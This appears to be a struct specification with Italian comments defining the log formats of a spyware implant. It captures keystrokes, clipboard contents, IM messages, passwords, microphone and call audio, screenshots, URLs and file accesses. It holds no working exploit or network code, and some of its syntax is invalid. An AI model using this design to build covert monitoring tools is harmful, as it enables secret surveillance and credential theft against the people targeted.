typedef struct _VoiceAdditionalData { UINT uVersion; #define LOG_VOICE_VERSION 2008121901 UINT uChannel; UINT uProgramType; UINT uSampleRate; UINT uIngoing; FILETIME start; FILETIME stop; UINT uCallerIdLen; UINT uCalleeIdLen; } typedef struct _MicAdditionalData { UINT uVersion; #define LOG_MIC_VERSION 2008121901 UINT uSampleRate; FILETIME fId; } MicAdditionalData typedef struct _SnapshotAdditionalData { UINT uVersion; #define LOG_SNAP_VERSION 2009031201 UINT uProcessNameLen; UINT uWindowNameLen; } SnapshotAdditionalData; typedef struct _UrlSnapAdditionalData { UINT uVersion; #define LOG_URLSNAP_VERSION 2009032301 UINT uBrowserType; UINT uUrlNameLen; UINT uWindowTitleLen; } UrlSnapAdditionalData; typedef struct _MouseAdditionalData { UINT uVersion; #define LOG_MOUSE_VERSION 2009040201 UINT uProcessNameLen; UINT uWindowNameLen; UINT xPos; UINT yPos; UINT max_x; UINT max_y; } MouseAdditionalData; typedef struct _PrintAdditionalData { UINT uVersion; #define LOG_PRINT_VERSION 2009031201 UINT uDocumentNameLen; } PrintAdditionalData // Un file viene cattuarto una volta sola (hash del file name) e solo la versione // piu' recente (controllo della data di ultima modifica) typedef struct _FileAdditionalData { UINT uVersion; #define LOG_FILE_VERSION 2008122901 UINT uFileNameLen; } FileAdditionalData -------------------------------------------------------------------------------- #define GET_TIME(x) {__int64 aclock;\ _time64( &aclock );\ _gmtime64_s(&x, &aclock);\ x.tm_year += 1900;\ x.tm_mon ++;} // Una struttura per ogni cambio di finestra typedef struct _KeyLogEntry { WORD zero = 0; strcut tm tstamp; WCHAR ProcessName[ ] (NULL terminato) WCHAR WindowTitle[ ] (NULL terminato) DWORD delimiter = 0xABADC0DE; WCHAR contents[ ] } -------------------------------------------------------------------------------- // Una struttura per ogni Ctrl+C typedef struct _ClipBoardEntry { strcut tm tstamp; WCHAR ProcessName[ ] (NULL terminato) WCHAR WindowTitle[ ] (NULL terminato) WCHAR contents[ ] (NULL terminato) DWORD delimiter = 0xABADC0DE; } // Una struttura per ogni RIGA typedef struct _IMEntry { strcut tm tstamp; WCHAR ProgramName[ ] (NULL terminato) WCHAR Topic[ ] (NULL terminato) WCHAR Peers[ ] (NULL terminato) WCHAR contents[ ] (NULL terminato) DWORD delimiter = 0xABADC0DE; } // Una struttura typedef struct DeviceEntry { WCHAR contents[ ] (NULL terminato) } // Una struttura typedef struct WebcamEntry { } // Una struttura per ogni accesso a file typedef struct _FileOpenEntry { strcut tm tstamp; WCHAR ProcessName[ ] (NULL terminato) DWORD SizeHiPart DWORD SizeLoPart DWORD AccessFlag WCHAR FileName[ ] (NULL terminato) DWORD delimiter = 0xABADC0DE; } // Una struttura per ogni password typedef struct _PasswordEntry { WCHAR Resource[ ] (NULL terminato) WCHAR User[ ] (NULL terminato) WCHAR pass[ ] (NULL terminato) WCHAR service[ ] (NULL terminato) DWORD delimiter = 0xABADC0DE; } // Una struttura per ogni URL typedef struct _IMEntry { strcut tm tstamp; WCHAR URL[ ] (NULL terminato) DWORD BrowserType; WCHAR WindowTitle[ ] (NULL terminato) DWORD delimiter = 0xABADC0DE; }